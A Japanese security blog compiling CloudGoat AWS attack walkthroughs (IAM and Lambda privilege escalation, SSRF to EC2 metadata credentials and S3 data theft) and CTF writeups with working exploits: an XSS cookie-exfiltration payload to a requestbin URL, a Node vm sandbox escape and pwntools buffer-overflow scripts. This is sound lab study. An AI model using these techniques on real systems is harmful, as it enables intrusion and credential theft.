AWSの攻撃体験ツール【Cloudgoat】全シナリオやる(前編)
CloudgoatはRhino Security Labsが開発した、脆弱なAWS環境の構築ツール。
現時点で7つのシナリオが用意されており、攻撃者の立場となって環境を攻撃することでAWSのセキュリティについて学習できます。
インストールは公式サイトや下記記事を参考に行えば良いのですが、現バージョンでは./cloudgoat.py config whitelist --auto
コマンドでエラーとなります。
これを通すためには、./cloudgoat.py config whitelist
コマンドの後、IPアドレスを聞かれるので、自身の外向きIPアドレスを入力するか、
動くようにしたものを私のgithubに置いているのでこちらを利用して頂いても構いません。
git clone -b develop https://github.com/ctf4bba/cloudgoat.git
本記事ではまず3つのシナリオをやってみています。
iam_privesc_by_rollback (Small / Easy)
攻撃者は、ほとんど権限のないIAMユーザーから始め、IAMポリシーの過去のバージョンを確認・リストアし、最終的にfull adminに権限昇格するというシナリオ。
./cloudgoat.py create iam_privesc_by_rollback
でシナリオに必要なリソース等が用意される。
作成されるstart.txtからaccess_key_id
、secret_key
を確認し、raynorのprofileを作成する。
% cat start.txt cloudgoat_output_aws_account_id = 7*********** cloudgoat_output_policy_arn = arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50 cloudgoat_output_raynor_access_key_id = A************** cloudgoat_output_raynor_secret_key = l*************************** cloudgoat_output_username = raynor-cgid4gjhu3qs50
aws configure --profile raynor AWS Access Key ID [None]: A************** AWS Secret Access Key [None]: l*************************** Default region name [None]: Default output format [None]:
ここからはiamのコマンドリファレンスを見ながら進める。
iam — AWS CLI 2.1.4 Command Reference
raynorのPolicyArnを確認する。
% aws iam list-attached-user-policies --user-name raynor-cgid4gjhu3qs50 --profile raynor { "AttachedPolicies": [ { "PolicyName": "cg-raynor-policy-cgid4gjhu3qs50", "PolicyArn": "arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50" } ] }
IAMのバージョンを確認すると、v1がデフォルトとして設定されていることがわかった。
% aws iam list-policy-versions --policy-arn arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50 --profile raynor { "Versions": [ { "VersionId": "v5", "IsDefaultVersion": false, "CreateDate": "2020-09-13T18:40:24+00:00" }, { "VersionId": "v4", "IsDefaultVersion": false, "CreateDate": "2020-09-13T18:40:24+00:00" }, { "VersionId": "v3", "IsDefaultVersion": false, "CreateDate": "2020-09-13T18:40:24+00:00" }, { "VersionId": "v2", "IsDefaultVersion": false, "CreateDate": "2020-09-13T18:40:24+00:00" }, { "VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2020-09-13T18:40:17+00:00" } ] }
v1を確認してみると、SetDefaultPolicyVersionが許可されている。
% aws iam get-policy-version --policy-arn arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50 --version-id v1 --profile raynor { "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Sid": "IAMPrivilegeEscalationByRollback", "Action": [ "iam:Get*", "iam:List*", "iam:SetDefaultPolicyVersion" ], "Effect": "Allow", "Resource": "*" } ] }, "VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2020-09-13T18:40:17+00:00" } }
v2を見てみると、フル権限があるようだ。
% aws iam get-policy-version --policy-arn arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50 --version-id v2 --profile raynor { "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Action": "*", "Effect": "Allow", "Resource": "*" } ] }, "VersionId": "v2", "IsDefaultVersion": false, "CreateDate": "2020-09-13T18:40:24+00:00" } }
デフォルトバージョンを変更し、ポリシーをロールバックする。
% aws iam set-default-policy-version --policy-arn arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50 --version-id v2 --profile raynor
これでフル権限を奪取できた。
試しにVPCを作成してみる。権限昇格前は拒否されていたのが、
% aws ec2 create-vpc --cidr-block 192.168.0.0/23 --profile raynor An error occurred (UnauthorizedOperation) when calling the CreateVpc operation: You are not authorized to perform this operation.
権限昇格後は作成できるようになっている。
% aws ec2 create-vpc --cidr-block 192.168.0.0/23 --profile raynor { "Vpc": { "CidrBlock": "192.168.0.0/23", (snip) } }
lambda_privesc (Small / Easy)
https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/lambda_privesc/README.md
LambdaアクセスとPassRole権限を持つロールを引き受け、Lambdaの実行を通してAdministratorに権限昇格するシナリオ。
まずは./cloudgoat.py create lambda_privesc
でリソース等の準備をする。
profileを作成。
% aws configure --profile chris AWS Access Key ID [None]: A******************* AWS Secret Access Key [None]: E*************************************** Default region name [None]: ap-northeast-1 Default output format [None]:
ユーザ名の確認。
% aws iam get-user --profile chris { "User": { "Path": "/", "UserName": "chris-cgidsjgwdtt0wa", "UserId": "A*******************", "Arn": "arn:aws:iam::7***********:user/chris-cgidsjgwdtt0wa", "CreateDate": "2020-10-19T03:13:32+00:00", "Tags": [ { "Key": "Name", "Value": "cg-chris-cgidsjgwdtt0wa" }, { "Key": "Scenario", "Value": "lambda-privesc" }, { "Key": "Stack", "Value": "CloudGoat" } ] } }
ポリシーの確認。
% aws iam list-attached-user-policies --user-name chris-cgidsjgwdtt0wa --profile chris { "AttachedPolicies": [ { "PolicyName": "cg-chris-policy-cgidsjgwdtt0wa", "PolicyArn": "arn:aws:iam::7***********:policy/cg-chris-policy-cgidsjgwdtt0wa" } ] }
% aws iam list-policy-versions --policy-arn arn:aws:iam::7***********:policy/cg-chris-policy-cgidsjgwdtt0wa --profile chris { "Versions": [ { "VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2020-10-19T03:13:32+00:00" } ] }
% aws iam get-policy-version --policy-arn arn:aws:iam::7***********:policy/cg-chris-policy-cgidsjgwdtt0wa --version-id v1 --profile chris { "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Sid": "chris", "Effect": "Allow", "Action": [ "sts:AssumeRole", "iam:List*", "iam:Get*" ], "Resource": "*" } ] }, "VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2020-10-19T03:13:32+00:00" } }
sts:AssumeRole
が許可されている。
stsはSecurity Token Serivceのことで、これはロールの引き受け(一時的にそのロールの権限を持つこと)を可能にするコマンド。
早速roleを見てみる。
% aws iam list-roles --profile chris (snip) { "Path": "/", "RoleName": "cg-debug-role-cgidsjgwdtt0wa", "RoleId": "A*******************", "Arn": "arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa", "CreateDate": "2020-10-19T03:13:32+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Sid": "", "Effect": "Allow", "Principal": { "Service": "lambda.amazonaws.com" }, "Action": "sts:AssumeRole" } ] }, "MaxSessionDuration": 3600 }, { "Path": "/", "RoleName": "cg-lambdaManager-role-cgidsjgwdtt0wa", "RoleId": "A*******************", "Arn": "arn:aws:iam::7***********:role/cg-lambdaManager-role-cgidsjgwdtt0wa", "CreateDate": "2020-10-19T03:13:40+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Sid": "", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::7***********:user/chris-cgidsjgwdtt0wa" }, "Action": "sts:AssumeRole" } ] }, "MaxSessionDuration": 3600 } ] }
使えそうなロールが2つある。
% aws iam get-role --role-name cg-debug-role-cgidsjgwdtt0wa --profile chris { "Role": { "Path": "/", "RoleName": "cg-debug-role-cgidsjgwdtt0wa", "RoleId": "A*******************", "Arn": "arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa", "CreateDate": "2020-10-19T03:13:32+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Sid": "", "Effect": "Allow", "Principal": { "Service": "lambda.amazonaws.com" }, "Action": "sts:AssumeRole" } ] }, "MaxSessionDuration": 3600, "Tags": [ { "Key": "Name", "Value": "cg-debug-role-cgidsjgwdtt0wa" }, { "Key": "Scenario", "Value": "lambda-privesc" }, { "Key": "Stack", "Value": "CloudGoat" } ], "RoleLastUsed": {} } } % aws iam get-role --role-name cg-lambdaManager-role-cgidsjgwdtt0wa --profile chris { "Role": { "Path": "/", "RoleName": "cg-lambdaManager-role-cgidsjgwdtt0wa", "RoleId": "A*******************", "Arn": "arn:aws:iam::7***********:role/cg-lambdaManager-role-cgidsjgwdtt0wa", "CreateDate": "2020-10-19T03:13:40+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Sid": "", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::7***********:user/chris-cgidsjgwdtt0wa" }, "Action": "sts:AssumeRole" } ] }, "MaxSessionDuration": 3600, "Tags": [ { "Key": "Name", "Value": "cg-debug-role-cgidsjgwdtt0wa" }, { "Key": "Stack", "Value": "CloudGoat" }, { "Key": "Scenario", "Value": "lambda-privesc" } ], "RoleLastUsed": {} } }
debugロールのprincipalにはlambdaが、lambdaManagerのprincipalにはchrisが設定されている。
AWS JSON ポリシーの要素: Principal - AWS Identity and Access Management
なお、principalはロールの引き受けが可能なIAMエンティティを定義している。
各ロールにインラインポリシーはなかったので(list-role-policies
で確認)、ロールにアタッチされた管理ポリシーを確認。
まずはlambdaManager。
% aws iam list-attached-role-policies --role-name cg-lambdaManager-role-cgidsjgwdtt0wa --profile chris { "AttachedPolicies": [ { "PolicyName": "cg-lambdaManager-policy-cgidsjgwdtt0wa", "PolicyArn": "arn:aws:iam::7***********:policy/cg-lambdaManager-policy-cgidsjgwdtt0wa" } ] } % aws iam list-policy-versions --policy-arn arn:aws:iam::7***********:policy/cg-lambdaManager-policy-cgidsjgwdtt0wa --profile chris { "Versions": [ { "VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2020-10-19T03:13:32+00:00" } ] } % aws iam get-policy-version --policy-arn arn:aws:iam::7***********:policy/cg-lambdaManager-policy-cgidsjgwdtt0wa --version-id v1 --profile chris { "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Sid": "lambdaManager", "Effect": "Allow", "Action": [ "lambda:*", "iam:PassRole" ], "Resource": "*" } ] }, "VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2020-10-19T03:13:32+00:00" } }
次にdebug。
% aws iam list-attached-role-policies --role-name cg-debug-role-cgidsjgwdtt0wa --profile chris { "AttachedPolicies": [ { "PolicyName": "AdministratorAccess", "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess" } ] }
lambdaManagerには、lambdaの実行権限とPassRoleがあり、debugロールの方にAdministratorAccessが付いている。
前述の通り、debugロールは直接Assumeすることはできず、lambdaの実行ロールとしてしか使えない。
% aws sts assume-role --role-arn arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa --role-session-name debug --profile chris An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::7***********:user/chris-cgidsjgwdtt0wa is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa
ので、chris -> lambdaManagerをAssumeRole -> debugロールでlambdaを実行 -> admin権限をchrisに付与、の方針とする。
まず、lambdaManagerをAssumeRoleする。
% aws sts assume-role --role-arn arn:aws:iam::7***********:role/cg-lambdaManager-role-cgidsjgwdtt0wa --role-session-name lambdaManager --profile chris { "Credentials": { "AccessKeyId": "A*******************", "SecretAccessKey": "6***************************************", "SessionToken": "(snip)", "Expiration": "2020-10-21T03:22:46+00:00" }, "AssumedRoleUser": { "AssumedRoleId": "A*******************:lambdaManager", "Arn": "arn:aws:sts::7***********:assumed-role/cg-lambdaManager-role-cgidsjgwdtt0wa/lambdaManager" } }
発行された一時的な権限を~/.aws/credentials
と~/.aws/config
に書き込む。
[lambdaManager] aws_access_key_id = A******************* aws_secret_access_key = 6*************************************** aws_session_token = (snip)
[profile lambdaManager] region = ap-northeast-1
AWS IAM Privilege Escalation – Methods and Mitigation
こちらを参考にlambdaのコードを書く。
import boto3 def lambda_handler(event, context): client = boto3.client('iam') response = client.attach_user_policy( UserName = 'chris-cgidsjgwdtt0wa', PolicyArn = 'arn:aws:iam::aws:policy/AdministratorAccess' ) return response
コードをzipファイルにして、lambdaを実行する。
lambdaを使ったことがなかったのでちょっとハマったが、handlerにはファイル名.関数名、zip-fileにはファイルパスの前にfileb://を付ける。
% zip function.zip lambda_function.py adding: lambda_function.py (deflated 27%) % aws lambda create-function --function-name privesc --runtime python3.6 --role arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa --handler lambda_function.lambda_handler --zip-file fileb:///path/to/function.zip --profile lambdaManager { "FunctionName": "privesc", "FunctionArn": "arn:aws:lambda:ap-northeast-1:7***********:function:privesc", "Runtime": "python3.6", "Role": "arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa", "Handler": "lambda_function.lambda_handler", "CodeSize": 360, "Description": "", "Timeout": 3, "MemorySize": 128, "LastModified": "2020-10-21T04:24:20.327+0000", "CodeSha256": "P/r+N6lR6BgjoJNxfrkcmmNZ7EtsUJUe3OYOr6AByHc=", "Version": "$LATEST", "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "8748a0af-02b2-41bd-ac4b-453de15e8498", "State": "Active", "LastUpdateStatus": "Successful" } % aws lambda invoke --function-name privesc output.txt --profile lambdaManager { "StatusCode": 200, "ExecutedVersion": "$LATEST" }
chrisにadmin権限を付けることができた。
% aws iam list-attached-user-policies --user-name chris-cgidsjgwdtt0wa --profile chris { "AttachedPolicies": [ { "PolicyName": "cg-chris-policy-cgidsjgwdtt0wa", "PolicyArn": "arn:aws:iam::7***********:policy/cg-chris-policy-cgidsjgwdtt0wa" }, { "PolicyName": "AdministratorAccess", "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess" } ] }
cloud_breach_s3
https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/cloud_breach_s3/README.md
誤って設定されたリバースプロキシサーバを悪用して、EC2のメタデータにアクセスし、インスタンスのプロファイルキーを取得する。そして、そのキーを利用してs3バケットから機密データを入手するというシナリオ。
まずは与えられたIPにアクセスしてみる。
% curl http://52.**.**.**/ <h1>This server is configured to proxy requests to the EC2 metadata service. Please modify your request's 'host' header and try again.</h1>
なんとも親切なメッセージが表示される。hostヘッダをメタデータ取得のためのIPに変更してみる。
[小ネタ] EC2インスタンスメタデータを簡単に確認する | Developers.IO
169.254.169.254
はインスタンスからアクセス可能な特別なIPアドレスで、インスタンスに関わるメタデータが取れる。
% curl http://52.**.**.**/latest/meta-data -H "host: 169.254.169.254" ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hibernation/ hostname iam/ identity-credentials/ instance-action instance-id instance-life-cycle instance-type local-hostname local-ipv4 mac metrics/ network/ placement/ profile public-hostname public-ipv4 public-keys/ reservation-id security-groups services/%
% curl http://52.**.**.**/latest/meta-data/iam/security-credentials -H "host: 169.254.169.254" cg-banking-WAF-Role-cgidnq7cedovmz % curl http://52.**.**.**/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cgidnq7cedovmz -H "host: 169.254.169.254" { "Code" : "Success", "LastUpdated" : "2020-10-21T08:49:49Z", "Type" : "AWS-HMAC", "AccessKeyId" : "A*******************", "SecretAccessKey" : "w***************************************", "Token" : "(snip)", "Expiration" : "2020-10-21T14:56:03Z" }
これを~/.aws/credentials
に書き込み~/.aws/config
にprofileを設定して、s3を見てみる。
% aws s3 ls --profile banking-WAF 2020-10-21 17:03:25 cg-cardholder-data-bucket-cgidnq7cedovmz % aws s3 ls s3://cg-cardholder-data-bucket-cgidnq7cedovmz --profile banking-WAF 2020-10-21 17:03:39 58872 cardholder_data_primary.csv 2020-10-21 17:03:39 59384 cardholder_data_secondary.csv 2020-10-21 17:03:40 92165 cardholders_corporate.csv 2020-10-21 17:03:41 249500 goat.png % aws s3 sync s3://cg-cardholder-data-bucket-cgidnq7cedovmz . --profile banking-WAF download: s3://cg-cardholder-data-bucket-cgidnq7cedovmz/cardholder_data_primary.csv to ./cardholder_data_primary.csv download: s3://cg-cardholder-data-bucket-cgidnq7cedovmz/cardholder_data_secondary.csv to ./cardholder_data_secondary.csv download: s3://cg-cardholder-data-bucket-cgidnq7cedovmz/goat.png to ./goat.png download: s3://cg-cardholder-data-bucket-cgidnq7cedovmz/cardholders_corporate.csv to ./cardholders_corporate.csv
機密データっぽいファイルが取れた。
仮想環境へのkali linuxのinstallで詰まったのでメモ
※2020/09/20 時点での記事です。
kali linuxのインストールでめちゃくちゃ詰まった話
試した環境及びイメージ
・kali linux : (Installer) 2020.3, 2020.2, 2020.1 (VM image) 2020.3, 2020.2
・VirtualBox 6.1, VMware Fusion 12
上記を、色々と組み合わせを変えながらインストールを試したのですが、
インストール後起動しようとすると、真っ黒い画面だったり、黒画面に_
が点滅してる画面で止まったりしました。
結論
VMware Fusion 12とKali linux (VM image) 2020.3の組み合わせにて起動できました。
インポート時に「アップグレードしますか?」といったダイアログが出ますが、これは"No"にします。
仮想マシンをアップグレードすると新機能は向上しますが、ダウングレードしない限り旧バージョンの VMware Fusion では使用できません。
("Yes"を選ぶと起動しなくなります)
または、InstallerからKali linuxをインストール後に、起動オプションを選ぶ画面まで行けた場合は、
"Advanced options 〜"を選択し、"〜with linux 5.5"を選ぶと起動できることがあります。
CSAW CTF 2020 Writeup
別の勉強しててCTFご無沙汰でした。255点。
歳のせいか体力がなくて難しい問題頑張れませんでした。つらい
よくないけど他のプレイヤーとちょっとずつ話したりした。
これは新しい体験だった(英語力が上がった気がする)。
どうせ上位でもないなら、問題がオープンでホットなうちにヒント乞食してでも解くべきなのかもしれない…?わからない
(でもそんなことしてたらdiscordの雑談チャットが閉まってしまった)
sanity (sanity)
discordの#rulesチャンネルの説明文にフラグ。
flag: flag{w3lc0m3_t0_csaw2020}
widthless
HTTPレスポンスの末尾にZero-Width space steganographyが存在する。
下記サイトでデコードした。
https://offdev.net/demos/zwsp-steg-js
b'YWxtMHN0XzJfM3o='
、base64デコードするとalm0st_2_3z
になる。
これをsign upに入力すると/ahsdiufghawuflkaekdhjfaldshjfvbalerhjwfvblasdnjfbldf/<pwd>
という文字列が返ってきた。
http://web.chal.csaw.io:5018/ahsdiufghawuflkaekdhjfaldshjfvbalerhjwfvblasdnjfbldf/alm0st_2_3z
にアクセスすると、次のページにアクセスできる。
このページにもzwsp stegoが最初の方、htmlタグ内等に含まれているので上記サイトでデコードすると755f756e6831645f6d33
、デコードするとu_unh1d_m3
が得られる。
同様にmail欄にsubmitすると/19s2uirdjsxbh1iwudgxnjxcbwaiquew3gdi/<pwd1>/<pwd2>
と返ってくるので、http://web.chal.csaw.io:5018/19s2uirdjsxbh1iwudgxnjxcbwaiquew3gdi/alm0st_2_3z/u_unh1d_m3
にアクセスすればフラグ。
flag: flag{gu3ss_u_f0und_m3}
roppity
ret2libc。過去のコードをちょっと変えただけ。
なぜかローカルではうまく動かなくて焦った。
シェルが取れたらls
、cat flag.txt
でOK。
flag: flag{r0p_4ft3r_r0p_4ft3R_r0p}
Perfect Secrecy
二枚の画像の黒が重なっている部分を抽出して画像にすると良さそうだった。
適当にStegSolveのImage Combiner(XOR)を使った。
ZmxhZ3swbjNfdDFtM19QQGQhfQ==
をbase64デコードしてフラグ。
flag: flag{0n3_t1m3_P@d!}
ezbreezy
眺めてたら怪しげな関数を見つけた。
固定値を配列にmovしている。値を抽出すると8E94898F A39D8790 5C9E5B87 9A5B8B58 9E5B9A5B 8C87955b A5
。
8e, 94, 89, 8f, a3という数列のそれぞれの差が、6C, 61, 67, 7B, 7D(="flag{")と同じだったので、各値から0x28を引いてみたらフラグになった。
flag: flag{u_h4v3_r3c0v3r3d_m3}
redpwnCTF 2020 復習編
misc/uglybash
解き方はわかったのに私の環境のbashが古くて動かなかった。かなしい
bashfuscatorというツールで難読化されているっぽい。
bashのxオプションでデバッグ情報を出力することができる。
$ bash -x cmd.sh > tmp.txt 2>&1 $ grep printf tmp.txt (snip) +++ printf %s e +++ printf %s c +++ printf %s h +++ printf %s o +++ printf %s ' ' +++ printf %s d +++ printf %s o +++ printf %s n +++ printf %s t +++ printf %s ' ' +++ printf %s j +++ printf %s u +++ printf %s s +++ printf %s t +++ printf %s ' ' +++ printf %s r +++ printf %s u +++ printf %s n +++ printf %s ' ' +++ printf %s i +++ printf %s t +++ printf %s , +++ printf %s ' ' +++ printf %s d +++ printf %s u +++ printf %s m +++ printf %s m +++ printf %s y +++ printf %s ' ' +++ printf %s '#' +++ printf %s ' ' +++ printf %s f +++ printf %s l +++ printf %s a +++ printf %s g +++ printf %s '{' +++ printf %s u +++ printf %s s +++ printf %s 3 +++ printf %s _ +++ printf %s z +++ printf %s s +++ printf %s h +++ printf %s , +++ printf %s _ +++ printf %s d +++ printf %s u +++ printf %s m +++ printf %s m +++ printf %s y +++ printf %s '}' +++ printf %s '
flag: flag{us3_zsh,_dummy}
web/static-pastebin
reflected XSS。
エスケープを独特の実装でやっているのでそこに脆弱性があるとは思ったけど解けなかった。
先に">"を入力しておくことで"<"を通すことができる。
下記のようなスクリプトを書き込むことでcookieを取れる。
><img src=x onerror="location.href='http://[requestbin URL]?cookie='+document.cookie"><
これをbase64したものを#の後ろに付けたURLをadmin botに踏ませれば、cookie内にフラグ。
flag: flag{54n1t1z4t10n_k1nd4_h4rd}
misc/CaaSiNO
Node.jsのvmモジュールはサンドボックス環境を提供する。
しかし、thisとconstructorを組み合わせると親環境にアクセスできるらしい。
Sandboxing NodeJS is hard, here is why
$ nc 2020.redpwnc.tf 31273 > const process = this.constructor.constructor('return this.process')(); process.mainModule.require('child_process').execSync('cat /ctf/flag.txt').toString() flag{vm_1snt_s4f3_4ft3r_41l_29ka5sqD}
flag: flag{vm_1snt_s4f3_4ft3r_41l_29ka5sqD}
CSCML2020 writeup
530点90位。あんまり時間とれなかったな…
2問だけです。
Censored (misc)
fileコマンドで見たらpngだったので、拡張子を直して開くと、
隠されている文字部分の16進数表示は丸見えなので、読むだけ。
flag: CSCML2020{I_know_you_think_you_understand_what_you_thought_I_said_but_I_am_not_sure_you_realize_that_what_you_heard_is_not_what_I meant}
Thanos
ページが消されちゃった!系なので.gitだろうと思ったらやはりあったので、下記のrip-gitで拾った。
GitHub - kost/dvcs-ripper: Rip web accessible (distributed) version control systems: SVN/GIT/HG...
$ cat logs/HEAD 0000000000000000000000000000000000000000 4f2a3c6a15811216659cc48d89ee71f5f68605e4 Nick Fury <nickfury@shield> 1591194165 +0300 commit (initial): STARK INDUSTRIED: first commit 4f2a3c6a15811216659cc48d89ee71f5f68605e4 af7c13b2c9c38110e33b088962d5816a9c8df10c Nick Fury <nickfury@shield> 1591194796 +0300 commit: BACKUP THE STONES af7c13b2c9c38110e33b088962d5816a9c8df10c 35945ec04d838604a15afefc0e37cfcd5838f5b3 Nick Fury <nickfury@shield> 1591194905 +0300 commit: THANOS: lol 4f2a3c6a15811216659cc48d89ee71f5f68605e4 0af3d4209a28a24e18d422bb770e995f91725f15 Nick Fury <nickfury@shield> 1591195087 +0300 commit: THANOS HACK: lollll 0af3d4209a28a24e18d422bb770e995f91725f15 af7c13b2c9c38110e33b088962d5816a9c8df10c Nick Fury <nickfury@shield> 1591195507 +0300 checkout: moving from master to af7c13b2c9c38110e33b088962d5816a9c8df10c af7c13b2c9c38110e33b088962d5816a9c8df10c 0af3d4209a28a24e18d422bb770e995f91725f15 Nick Fury <nickfury@shield> 1591195677 +0300 checkout: moving from af7c13b2c9c38110e33b088962d5816a9c8df10c to master $ git cat-file -p af7c13b2c9c38110e33b088962d5816a9c8df10c tree be18391dfb040b52faf0c58462a23b8b6d8cfee2 parent 4f2a3c6a15811216659cc48d89ee71f5f68605e4 author Nick Fury <nickfury@shield> 1591194796 +0300 committer Nick Fury <nickfury@shield> 1591194796 +0300 BACKUP THE STONES $ git cat-file -p be18391dfb040b52faf0c58462a23b8b6d8cfee2 100644 blob a820376bd0934adc1fc578c1f8f8889181d6c20b index.html 100644 blob 6385461a0ca69d95218cb29474b42f0ad05d3a88 mind 100644 blob 461bea50945d85f33acbdb4876bd180662863cad power 100644 blob 1700f1d5e7cfa11eef54f3f5edef19dc96a4a4a5 reality 100644 blob 9758730c9189e6f3d8954a6e6b294f21ca6b6c22 soul 100644 blob e885c9e2814eb21f779c362d41debbbb9ca92494 space 100644 blob 3700ce260322b68b2da8f412f135fe2ebc521d95 time $ git cat-file 6385461a0ca69d95218cb29474b42f0ad05d3a88 > mind
BACKUP THE STONESというコミットがあるので見てみると、6つのファイルがアップロードされていた。
それぞれファイルを復元して見てみると、mindだけサイズが小さくzipの終端が含まれ、powerがzipファイル形式で始まっていることがわかった。
$ file power power: Zip archive data, at least v2.0 to extract $ binwalk mind DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 88878 0x15B2E End of Zip archive, footer length: 22 $ binwalk power DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 82 0x52 PNG image, 1920 x 1080, 8-bit/color RGB, non-interlaced 618 0x26A Zlib compressed data, best compression $ exiftool mind ExifTool Version Number : 10.13 File Name : mind Directory : . File Size : 87 kB File Modification Date/Time : 2020:07:03 00:27:25+09:00 File Access Date/Time : 2020:07:03 00:30:17+09:00 File Inode Change Date/Time : 2020:07:03 00:27:25+09:00 File Permissions : rw-r--r-- Error : Unknown file type $ exiftool power ExifTool Version Number : 10.13 File Name : power Directory : . File Size : 439 kB File Modification Date/Time : 2020:07:03 00:27:43+09:00 File Access Date/Time : 2020:07:03 00:29:16+09:00 File Inode Change Date/Time : 2020:07:03 00:27:43+09:00 File Permissions : rw-r--r-- Warning : Format error reading ZIP file File Type : ZIP File Type Extension : zip MIME Type : application/zip Zip Required Version : 20 Zip Bit Flag : 0 Zip Compression : Deflated Zip Modify Date : 2020:06:03 16:27:00 Zip CRC : 0x6b11af79 Zip Compressed Size : 2338712 Zip Uncompressed Size : 2341680 Zip File Name : infinity-stones.png
Zip Compressed Sizeが6ファイルのサイズ合計と概ね一致するので、powerを最初、mindを最後として6つのファイルを結合してzipファイルにすれば正しく解凍できるようになると考えた。
あとは総当たりでファイルを作り、解凍できる順列を探したところ、power、space、reality、soul、time、mindの順で結合したものでできた(記憶違いだったらすみません)。
flag: CSCML2020{I_L0v3_Y0u_ThAn0s}
前も書いたけどアベンジャーズは好きなんだけど、あまり詳しくない…(サノスは知ってる)
CpawCTF 挑戦記
アカウントのパスがわからなくなって最初からやり直しに…。
writeup作成の可否は書かれていなかったので、一応メモを残す(自分用)けど、畳んでおきます。
redpwnCTF 2020 writeup
3199点で316位でした。まあこんなもんですね…
pwnが基本からステップアップするように作られていたので勉強になりました。
misc/sanity-check
flag: flag{54n1ty_ch3ck_f1r5t_bl00d?}
misc/discord
discordのannouncementにフラグ。
flag: flag{w3lc0me_t0_r3dpwnctf_d1sc0rd}
misc/hackerone-survey
アンケートに答える。なお私はペンテスターではない。
flag: flag{rac3_f0r_H@ck3rOne_surv3y!}
web/inspector-general
ソースコードのheadタグ内にフラグ。
flag: flag{1nspector_g3n3ral_at_w0rk}
rev/ropes
macの実行ファイル。strignsで出る。ちなみにpinは4919。
$ strings ropes Give me a magic number: First part is: flag{r0pes_ar3_ Second part is: just_l0ng_str1ngs}
flag: flag{r0pes_ar3_just_l0ng_str1ngs}
crypto/base646464
base64*25。
import base64 with open("cipher.txt", 'r') as f: s = f.read() dec = s for i in range(25): dec = base64.b64decode(dec) print(dec)
flag: flag{l00ks_l1ke_a_l0t_of_64s}
web/login
admin'/*
でログインできた。
SQL Injection Cheat Sheet | Netsparker
flag: flag{0bl1g4t0ry_5ql1}
pwn/coffer-overflow-0
#include <stdio.h> #include <string.h> int main(void) { long code = 0; char name[16]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)"); puts("What do you want to fill your coffer with?"); gets(name); if(code != 0) { system("/bin/sh"); } }
20h(=32)-8=24文字より多く入力するとオーバーフローしてcodeが0でなくなる。
無言でシェルが起動するので、ls
、cat flag.txt
と打つだけ。
flag: flag{b0ffer_0verf10w_3asy_as_123}
pwn/coffer-overflow-1
#include <stdio.h> #include <string.h> int main(void) { long code = 0; char name[16]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)"); puts("What do you want to fill your coffer with?"); gets(name); if(code == 0xcafebabe) { system("/bin/sh"); } }
オーバーフローのさせ方は前問と同じだが、codeが指定の値である必要がある。
from pwn import * io = remote('2020.redpwnc.tf', 31255) payload = b'A'*24 + p64(0xcafebabe) s = io.recvuntil('?') print(s) print(b'payload: ' + payload) io.send(payload) io.interactive()
flag: flag{th1s_0ne_wasnt_pure_gu3ssing_1_h0pe}
pwn/coffer-overflow-2
#include <stdio.h> #include <string.h> int main(void) { char name[16]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)"); puts("What do you want to fill your coffer with?"); gets(name); } void binFunction() { system("/bin/sh"); }
returnアドレスを書き換えてbinFunctionに飛ぶようにすればよい。
$ checksec coffer-overflow-2 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) $ objdump -d coffer-overflow-2 (snip) 00000000004006e6 <binFunction>: 4006e6: 55 push %rbp 4006e7: 48 89 e5 mov %rsp,%rbp (snip)
PIEなし。オーバーフローする位置は同じなので、binFunctionのアドレス(0x4006e6)を入れるように変える。
from pwn import * io = remote('2020.redpwnc.tf', 31908) payload = b'A'*24 + p64(0x4006e6) s = io.recvuntil('?') print(s) print(b'payload: ' + payload) io.send(payload) io.interactive()
flag: flag{ret_to_b1n_m0re_l1k3_r3t_t0_w1n}
crypto/pseudo-key
